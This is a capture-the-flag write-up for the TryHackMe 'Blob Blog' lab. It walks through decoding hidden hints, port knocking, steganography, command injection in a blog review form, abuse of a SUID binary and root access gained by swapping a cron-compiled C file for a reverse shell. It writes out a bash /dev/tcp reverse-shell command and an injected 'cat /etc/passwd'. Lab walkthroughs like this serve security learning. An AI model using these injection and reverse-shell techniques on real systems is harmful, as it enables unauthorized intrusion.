THM Writeup: The Blob Blog

1Frey
20 min readSep 5, 2020
https://tryhackme.com/room/theblobblog

Introduction

The Blob Blog is a really nice box made by Bobloblaw that requires various skills such as:
- Enumeration
- Port Knocking
- Decode/Decrypt
- Steganography
- RCE
- Reverse Engineering
- Programming Language C

Please note that I wanted this writeup to be as close as possible to the way I did the box.
There are rabbit holes I fall into and things I do that weren’t necessary or could have been done differently but that are shown in this writeup.
I wanted to give my experience and the thoughts I got at each step of the box.

Scan

As always, the first thing to do is to scan the target. After a quick scan, you get:

We can see 2 different open ports:
- 22 SSH
- 80 HTTP
Lets check the web server first as we don’t know yet the ssh username and we don’t know the password either so brute forcing it seems to be a bad idea.

Port 80: HTTP

By going to the web page, we arrive on the apache2 default page. And then, by looking at the source code, you can find 2 interesting comments:

First Comment
Second Comment

It seems like, we need to decode both of them.

First Comment:

By looking at the string, you can deduce that it is base64 encoded. You can also notice that the string is composed of smaller strings that tends to repeat themselves, it may be an indicator of a second encoding with an esolang or something.

After decoding it with base64, we get:

Indeed, this looks like a famous esolang known as the brainfuck.
Let’s decode it and we get:

When I was a kid, my friends and I would always knock on 3 of our neighbors doors.  Always houses 1, then 3, then 5!

This immediately made me think about a port knocking sequence but we’ll come back to this right after decoding the second comment.

Second Comment:

The second comment seems particularly interesting as it mentions the username “bob”, the password and also it precises that the password is encoded, meaning it is not encrypted.

After a couple of attempts, we can figure out that the password is base58 encoded, let’s decode it and we get:

Conclusion — Port 80: HTTP

Thanks to the source code comments, we get 2 very interesting information:
- One username and his password
- What seems to be a port knocking sequence

Info: As per our scan, there is an ssh open port. I obviously tried the credentials found earlier but it doesn’t work as bob is not permitted to log through ssh.

Port Knocking & Scan

As discovered earlier, we have what seems to be a port knocking sequence.
I tried to knock using https://github.com/grongor/knock.
It is an easy-to-use python script to knock on ports but you can use the ping command or any other tool to knock and perform this step.

After knocking, we perform a scan to see if any other port got opened, the result of the scan is:

We can see that now we have 3 other ports that are opened:
- 21 FTP
- 445 HTTP
- 8080 HTTP
Let’s give a look at each of them.

Port 21: FTP

This port does not allow to log anonymously but thankfully we got bob’s credentials earlier and we can log with them.
Once logged in, we can list the directories:

Info: If you wonder why we have bash files and the profile file, it is because the ftp directory is bob’s home directory.

I extracted everything and looked at all of the files but the interesting one is “cool.jpeg”.

Steganography

At this point, I was almost sure there was something hidden within this image. None of the other file seemed to give any valuable information and a random picture in an ftp folder seemed suspicious. So I tried the following at first:
- exiftool
- binwalk
- strings
- steghide extract (with no password)
None of them gave me anything so I finally launched stegcracker that appeared to be way more interesting:

And we get a file containing 2 interesting info:

cool.jpeg.out

When I saw the first line, I immediately thought about a Vigenere encryption. Why ?
Because you know that the user is bob.
So here bob is zcv and bob has 2 “b” so if it was a character by character encoding (such as rot for instance), both “b” would have given the same result which is not the case.
Moreover Vigenere encryption does not modify anything else than letters and you can see there is a “:” as the fourth character suggesting that credentials are given in the following format <USER>:<PASS>

The problem is we don’t have the key, we can try to bruteforce it but it doesn’t give anything.

The second line seems to be a folder. We remember thanks to our last scan that we got 2 new ports having a webserver. Let’s check the first one.

Conclusion — Port 21: FTP

We got 2 very interesting information:
- What seems to be vigenere encrypted credentials
- What seems to be a folder

Port 445: HTTP

By going to the web page, we arrive on the apache2 default page. And then, by looking at the source code, you can find 1 interesting comment:

This comment could have been useful as it gives you the password for the cool.jpeg file but it was not for me since I had already cracked it using stegcracker.

Enumeration

It is highly unlikely that this webserver is only here to give you the password to extract data from a jpeg file so let’s perform an enumeration on this webserver:

Yay, it gives 1 result. If you go there you will get:

This looks like an upside down openssh key.

Info: I did not use this key at all during the entire box. However once I finished the room, I asked the room creator Bobloblaw why we had this key. He answered that this was the second path to get to the second user of the box. You can either cryptanalyse this key and make it work or use the path below which is the one I followed.

At this point, we remember that we got a folder earlier when we cracked the cool.jpeg file.
Moreover the password of the jpeg file is given in the source code of the default page of this webserver.
It suggests that this folder can be accessed through this webserver.

If we try to access it: http://<IP>:445/bobs
We get the following result:

Interesting, it tells us that we need this to access the blog. Could that be a password ?

Vigenere

The file that we got when we cracked cool.jpeg contained 2 informations:
- A string that seemed to be vigenere encrypted
- A folder that when accessed gives us what seems to be a password
Let’s try to crack the vigenere encryption using the password recently found in /bobs… folder, we get:

https://gchq.github.io/CyberChef/

As guessed earlier, the “zcv” gives us bob and the hidden part is the password.

Moreover, the sentence from the folder /bobs… suggests that this is used to access the blog. So we can assume that we have just found bob’s credentials for the blog.

Conclusion — Port 445: HTTP

We got 2 very interesting information:
- An openssh key that can be decrypted to access the box (not used during this writeup)
- Bob’s credentials for the blog

Port 8080: HTTP

By going to the web page, we arrive on the apache2 default page. However, there is nothing hidden in the source code so let’s enumerate it a bit further, we get:

Yay, we get 2 results:
- /blog which is a redirection
- /login
This definitely looks like a blog. Lucky us, we found bob’s credentials for the blog earlier.

Info: If you try to access /blog without login first, you will get redirected to the login page.

Blog

Once we log into the blog thanks to the credentials we got earlier, we get:

You can follow the Blog Post links but there is nothing interesting there.
Also if you follow the “latest review … here!”, you will get:

This review form definitely looks like a place where you could inject commands to get a foothold.
So I tried to inject commands in the form but nothing seemed to work.
I thought about filters so I used burp and used a list of bypass filters commands but it didn’t work either.
I spent so much time trying to inject something that could work but everything was unsuccessful.

I usually try to ping myself and check the result with tcpdump just to make sure I wouldn’t miss a successful blind command injection.

At some point I guessed I was missing something. So I went back and checked each page we can access from the blog, meaning “Blog Post 1” etc. and the “latest review … here!”. And when I accessed the “latest review … here!” I was surprised that the page was loading but not displaying anything. Could my ping have worked ?

I checked my tcpdump output and got:

At this stage, I must confess I felt stupid for not figuring it out earlier as it is hinted in the sentence itself but all the commands I tried from the beginning worked just fine.
You just need to access the latest review after submitting your command to make it work. That is why my ping command worked once I tried loading this page.

Info: The funny thing is there is no filter at all, any command would work. You can also get the command output when you access “latest review … here!”. For instance the command “cat /etc/passwd” will print out its output there.

Foothold

Now that we know how to launch our commands, let’s get a reverse shell.
I used the following command:
bash -i >& /dev/tcp/<IP>/1234 0>&1
But you could use any other command line you’d like to get your reverse shell.

I launched my nc listener on the port 1234, then I went to the “latest review … here!” and yay we get the foothold !

Conclusion — Port 8080: HTTP

Following a command injection we finally get our foothold on the target machine. Time to priv esc !

Privilege Escalation: Bobloblaw

Now that we are www-data, we need to enumerate the machine to see if there is a vector we could use to access another user account.

Info: You can access bob account with the credentials we found in the source code of the default page port 80 but it is not required for what follows. If you want to access bob, you will need to upgrade your simple shell to a fully interactive tty and to use “su bob”.

Before launching automated scripts such as linpeas I usually look manually to see if I can find anything interesting. The thing is that with this machine, you will find many things that can be interesting !

If you check the user from the /etc/passwd, you will notice there are 2 standard users:
- bob
- bobloblaw

Web folder images

If you go to /var/www, you will find 2 interesting images you could not have seen earlier:

Which are reno.jpg and reno2.jpg (both contains picture of Bobloblaw’s dog which to be honest, I think that it is a funny reference to real life).

If you extract them using any method you’d like, you can analyze them.
The only thing that will work for both of them is steghide extract with no password:
steghide extract -sf <filename>

The image reno.jpg gives you the file dog.txt, it contains:

dog.txt

The image reno2.jpg gives you the file doggo.txt, it contains:

doggo.txt

Would that be another vigenere ? Could the “dog” in capital letters from dog.txt be the password ?
Well, yes and you get:

Alright, so Bobloblaw got me and spoiler alert it won’t be the last time.

SUID

By checking for SUID permission, we get:

There are several interesting things here such as:
- pkexec that is known to have specific local priv escalation exploits (exploit-db)
- ntfs-3g that is also known to have a specific local priv escalation exploit (exploit-db)
- blogFeedback

The last one really seems weird, moreover if you list permissions on this one you can see that the owner is bobloblaw.

In general you should never execute a file if you don’t know what the file does. But in the case of this writeup, I’ll show you as it is harmless. If you execute the file, you get:

Let’s transfer this binary to my machine to analyze it.

Reverse Engineering

I analyzed the file with ghidra. Let’s see what the main function hides, you get:

That definitely sounds interesting.
Do you see the line 23? We can get a shell with this.
Alright, lets analyze this a bit further.

The first argument passed to a main function in a C program (param_1) is always the number of arguments passed to the program. Note that it is always greater than 1 because the name of the program itself is counted, so if you add 1 parameter when you execute the program, param_1 would be equal to 2 (1 for the program name + 1 for the argument).

If you give a look at lines 8 and 9, you can see that there is a condition. This conditions says that if param_1 is not equal to 7, display “Order my blogs!” and then go to line 25 which ends the program.

If you don’t provide exactly 6 arguments (6 arguments + 1 for the program name), your param_1 won’t be equal to 7 and the described above path is the one you’d take. Let’s confirm it:

When we provide exactly 6 arguments to make sure that param_1 equals 7 we get a different output.

So when we provide 6 arguments we enter the else condition line 11.
Following this path we can see another condition line 15:
If iVar1 doesn’t equal 7 minus local_c, display “Hmm… I disagree!” and end the program.

We can also see with line 12 and 19 that local_c is increased by 1 through each iteration of the while loop.
Following the while loop that starts line 13, you can see that if you exit the while loop without entering the condition “(iVar1 != 7-local_c)” line 15, you’ll get to execute lines 21, 22 & 23 which will give you a shell.

To be honest I only know basics of C programing language and I had no clue about the atoi() function that defines iVar1 value.
All I knew was that iVar1 is using the atoi() function and that the atoi() function is using param_2 and local_c variables.
I also knew that param_2 was based on the input parameters as the second parameter of a main function in C is always an array of strings, each string representing one of the provided arguments.
So I decided to see what was going on.
I copied the program and edited a bit:

Edited blogFeedback.c

The idea of this program is to display the value of:
- iVar1
- local_c
- 7 minus local_c
Thanks to the line 22.

Let’s compile it and see what’s going on:

Wonderful, first, the edited program works and it also gives us the answer we were looking for ! Let’s give a bit more explanations:
First with “./a.out 1 2 3 4 5 6”, we see that:
- iVar1 equals 1
- local_c equals 1
- 7-local_c equals 6
We remember that we need iVar1 to be equals to 7-local_c to avoid the if condition described earlier.
local_c will always be 1 at this point as it is defined as 1 and increased by 1 through each iteration of the loop.
As stated earlier, iVar1 is created with the atoi() function according to our input parameters so this is the one we can modify.
We deduce that the atoi function allows to get the numerical value of the input character.

Now let’s try to modify the first parameter in order to be able to avoid the if condition:

As you can see, the second time I run the program, I put a 6 instead of 1 as the first parameter. And the result is exactly the one I was expecting.
We can see that there were 2 iterations of the loop, meaning that we did not enter the if condition in the first iteration, because:
iVar1 = 6 & local_c = 1
7-local_c = 6 = iVar1 (meaning that it doesn’t enter the if condition)
As expected, local_c is increased by 1 during the second iteration so iVar1 should be decreased by 1 to make sure we don’t enter the if condition.
This is obviously the case for each iteration of the while loop.
So we can deduce that to escape the if condition each time and to reach lines 29 (edited script) and the ones below we need to provide the following arguments “6 5 4 3 2 1”:

Here, we can see that iVar1 always equals 7-local_c until local_c is increased to the value 7 which is the condition to stop the while loop (edited script line 19), and hence to spawn our shell.
Let’s try that on our target machine where the binary blogFeedback has the SUID permission set.

Success we are now bobloblaw !

We can now go to bobloblaw’s home directory and look for the first flag “user.txt”, we get:

We can see that there is the file “user.txt” in the Desktop directory. Let’s check it and get the first flag:

user.txt

All is left to do is to escalate to root.

Conclusion — Privilege Escalation: Bobloblaw

After a bit of reverse engineering, we got access to bobloblaw.

Info: It seems easy like this but it actually took me quite some time to figure that out as I considered RE as the last resort as I’m still a newbie in this field. So I explored lots of other ways to escalate privileges that failed before doing this one. We will see a few of them in the next part.

Privilege Escalation: Root

If you look a bit at ways to escalate, you will find lots of things you may think are worth digging up.

Let’s upload linpeas.sh and see what this machine is hiding, we get several interesting stuff:

Cronjob

First thing I tried to dig was when I saw this as a cronjob:

As you may know, this is a known way to escalate privileges.
For more info about how it works, take a look at this:
https://medium.com/@int0x33/day-67-tar-cron-2-root-abusing-wildcards-for-tar-argument-injection-in-root-cronjob-nix-c65c59a77f5e

The problem in our case is that we need our files for the exploitation to be within the folder “/.uh_oh” as this command goes in /home/bobloblaw/Desktop/.uh_oh and uses the wildcard there to create the archive /tmp/backup.tar.gz.
And if you look at /.uh_oh permissions you get:

This directory is owned by root and you can’t do anything with it. You can’t create files there so this tar cronjob can’t be exploited, it is a rabbit hole.

However we can see 2 weird pictures there.

Home Directory Pictures

If you extract both of the previously discovered pictures:
- dontlookatthis.jpg
- lookatme.jpg

You can extract 1 file from each of them using steghide with no password:
steghide extract -sf <file>

  1. lookatme.jpg
    Extracting it gives us the file whatscooking.txt which contains a binary as follow:
whatscooking.txt

If you decode this binary, you get:

This is a base64 encoded text, you can decode it and you get:

This looks like another brainfuck encoded text, let’s decode it and we get:

The stove's timer is about to go off... there are some other timers too...

Interesting, could that be a clue to get root access ?

Info: Yes it was definitely a clue to get root access.

2. dontlookatthis.jpg
Extracting it gives us the file dontlook.txt which contains a base64 encoded text as follow:

Once the base64 encoded text is decoded, we get an hex encoded string which once decoded gives us:

Well, another rabbit hole.

SUID

My linpeas output contained the following.

2 lines are interesting here:
- pkexec
- ntfs-3g

  1. pkexec

pkexec is interesting because there are 2 known exploits for local privilege exploitation:
- CVE-2019–13272
- CVE-2011–1485

The first CVE is supposed to work on linux kernel between 4.10 and 5.1.17. and ours is:

Our kernel is 4.10.0 so this exploit should work. However if you use the exploit-db script for this exploitation, you will get an output stating that there was an error when it tried to execute command as another user.
This is a dead end that can’t grant you root access.

The second CVE doesn’t work either, not a surprise as it is from 2011.

2. ntfs-3g

There is an exploit if you look for local privilege escalation ntfs-3g online, but if you try to exploit it, it won’t give anything interesting. This looks like another dead end.

Sudo

After exploring cronjobs and SUIDs, there is another very common way to escalate privileges, sudo obviously.
Let’s see our permissions:

At first sight that seems very nice, we can execute 2 commands as root:
- echo
- yes

I did not know any sudo privilege escalation method using those commands so I tried couple of things, went online to know if there was a way to exploit them but it was definitely a loss of time. This is just another rabbit hole.

At this point the three main ways to escalate privileges are rabbit holes, we need to look deeper into our linpeas output.

SSH Keys

Checking my linpeas output I saw this:

Hmm interesting, we see 2 files that may contain ssh private keys according to linpeas and we see that root ssh login is allowed.

The file mime.xml is quite common to appear at the location on a linpeas output and usually doesn’t contain any valuable information. Here, same as usual, this file isn’t useful.
And the file id_rsa contains the openssh key we found on the webserver port 445.

Info: If you decrypt the openssh key you can find on the webserver, you can log in as bobloblaw, the username bobloblaw is given within the description of the box (this is the second way to get bobloblaw access other than exploiting the blog and exploiting the blogFeedback binary).

Root Directory

I also saw this when I checked my linpeas output:

/cdrom in a root directory is quite common when you are on a VM, so nothing surprising to see it there. However /.patch is uncommon, let’s check its content:

/.patch contains a root bash script that can’t be used to do anything due to a lack of permissions.

You haven’t rooted me yet? Jeez

If you upgrade your shell from the simple shell you initially have to a fully interactive shell with a command or by modifying bobloblaw’s ssh private key and accessing the machine through ssh (the method I prefered to use as it gives you a backdoor).

There should be something that catches your eye, let me show you a screenshot:

What is this cronjob that displays “You haven’t rooted me yet? Jeez” ?
Moreover if you log as bob (su bob) and get a fully interactive shell you will have the same cronjob running. It means that root is running this cronjob.
Let’s find where does this cronjob comes from:

When I saw this, I must confess I felt stupid once again. Why did I run “ls -lR” when I wanted to enumerate the home directory to get the first flag, I should have run “ls -laR” and I would have seen it directly.

Info: I used the grep command only in the home directory to save some time writing this writeup but the command could be:
grep -Rl “You haven’t rooted me yet? Jeez” / 2> /dev/null
If you want to search through the entire system. Be careful, it will take a lot of time !!!
It is usually smarter to search specific directories such as /home or /usr for instance.
A tool like pspy can also be a great friend in this type of situtation.

Let’s check the permissions:

Interesting so we have an executable owned by root and we have the file .boring_file.c that is owned by bobloblaw. Let’s check the file .boring_file.c:

As we could have known thanks to our previous grep command. The file contains the text that is displayed by the root cronjob.
Even more interesting, it is a file written in C programming language and it is not compiled yet, meaning the cronjob is probably compiling it and executing it afterwards.
As we own the .boring_file.c, we can edit it.

Let’s modify it and put a reverse shell instead:

I used the following script:
https://github.com/arturgontijo/remoteShell/blob/master/reverseShell.c

I updated the IP address of the script to put mine and I also decided to use the port 123. Then I set up my nc listener to the port 123 and waited for the cronjob to run:

Yay, it worked and I am now root ! We successfully hacked the system.

The root.txt file is in the root directory and contains:

Conclusion

This room requires various skills.
I liked the fact that there are a lot of rabbit holes as this is closer to real world pentestings where you have tons of things to look at.
Moreover, there is nothing so hard to do, there is just much to look at, so it doesn’t require a very high skill rather time to be able to root it.
I also liked the privilege escalation as this is different from the “usual” types of escalation we get on THM boxes.

Once again, a big thanks to Bobloblaw for this challenge !

--

--